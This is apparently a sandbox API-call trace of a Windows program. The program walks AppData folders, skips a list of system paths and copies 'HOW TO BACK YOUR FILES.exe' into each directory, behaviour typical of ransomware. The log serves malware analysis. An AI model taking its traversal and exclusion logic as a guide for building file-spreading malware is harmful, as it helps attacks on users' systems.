	[0053.776] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0053.776] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0053.776] lstrlenW (lpString="Microsoft") returned 9
	[0053.776] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned 43
	[0053.776] lstrcpyW (in: lpString1=0x119e64a, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0053.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0053.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598468
	[0053.776] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0053.776] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0053.776] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.776] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0053.776] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft"
	[0053.776] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0053.776] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0053.776] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned 42
	[0053.776] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft"
	[0053.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.777] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.777] GetLastError () returned 0x0
	[0053.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.777] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.777] CloseHandle (hObject=0x14c) returned 1
	[0053.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.777] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.778] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.778] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.778] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.778] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3c6090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.778] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.778] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.778] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.778] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.778] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="Apollon865.txt.exe") returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1
	[0053.778] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1
	[0053.778] lstrlenW (lpString="Credentials") returned 11
	[0053.778] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*") returned 44
	[0053.778] lstrcpyW (in: lpString1=0x119e65e, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0053.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0053.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a8a8
	[0053.778] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0053.778] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0053.778] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.778] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1
	[0053.779] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1
	[0053.779] lstrlenW (lpString="Crypto") returned 6
	[0053.779] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned 54
	[0053.779] lstrcpyW (in: lpString1=0x119e65e, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0053.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0053.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8fa0
	[0053.779] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7a90
	[0053.779] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3c6090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3c6090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.779] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.779] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0053.779] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0053.779] lstrlenW (lpString="Internet Explorer") returned 17
	[0053.780] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned 49
	[0053.780] lstrcpyW (in: lpString1=0x119e65e, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0053.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0053.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0053.780] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0053.780] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4aa8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="Apollon865.txt.exe") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2=".") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="..") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="windows") returned -1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="bootmgr") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="temp") returned -1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="pagefile.sys") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="boot") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="ids.txt") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="ntuser.dat") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="perflogs") returned 1
	[0053.780] lstrcmpiW (lpString1="Protect", lpString2="MSBuild") returned 1
	[0053.780] lstrlenW (lpString="Protect") returned 7
	[0053.780] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 60
	[0053.780] lstrcpyW (in: lpString1=0x119e65e, lpString2="Protect" | out: lpString1="Protect") returned="Protect"
	[0053.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0053.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5995a0
	[0053.780] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7b70
	[0053.780] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="Apollon865.txt.exe") returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2=".") returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="..") returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="windows") returned -1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="bootmgr") returned 1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="temp") returned -1
	[0053.780] lstrcmpiW (lpString1="SystemCertificates", lpString2="pagefile.sys") returned 1
	[0053.781] lstrcmpiW (lpString1="SystemCertificates", lpString2="boot") returned 1
	[0053.781] lstrcmpiW (lpString1="SystemCertificates", lpString2="ids.txt") returned 1
	[0053.781] lstrcmpiW (lpString1="SystemCertificates", lpString2="ntuser.dat") returned 1
	[0053.781] lstrcmpiW (lpString1="SystemCertificates", lpString2="perflogs") returned 1
	[0053.781] lstrcmpiW (lpString1="SystemCertificates", lpString2="MSBuild") returned 1
	[0053.781] lstrlenW (lpString="SystemCertificates") returned 18
	[0053.781] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned 50
	[0053.781] lstrcpyW (in: lpString1=0x119e65e, lpString2="SystemCertificates" | out: lpString1="SystemCertificates") returned="SystemCertificates"
	[0053.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0053.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf568
	[0053.781] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0053.781] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0053.781] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.781] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0053.781] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0053.781] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0053.781] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0053.781] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0053.781] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.781] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0053.781] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0053.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0053.781] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 61
	[0053.781] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0053.781] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.781] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.782] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.782] GetLastError () returned 0x0
	[0053.782] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.782] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.782] CloseHandle (hObject=0x14c) returned 1
	[0053.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.782] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.782] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.782] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.782] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.782] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.782] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.782] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.783] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.783] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.783] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.783] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.783] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="Apollon865.txt.exe") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2=".") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="..") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="windows") returned -1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="bootmgr") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="temp") returned -1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="pagefile.sys") returned -1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="boot") returned 1
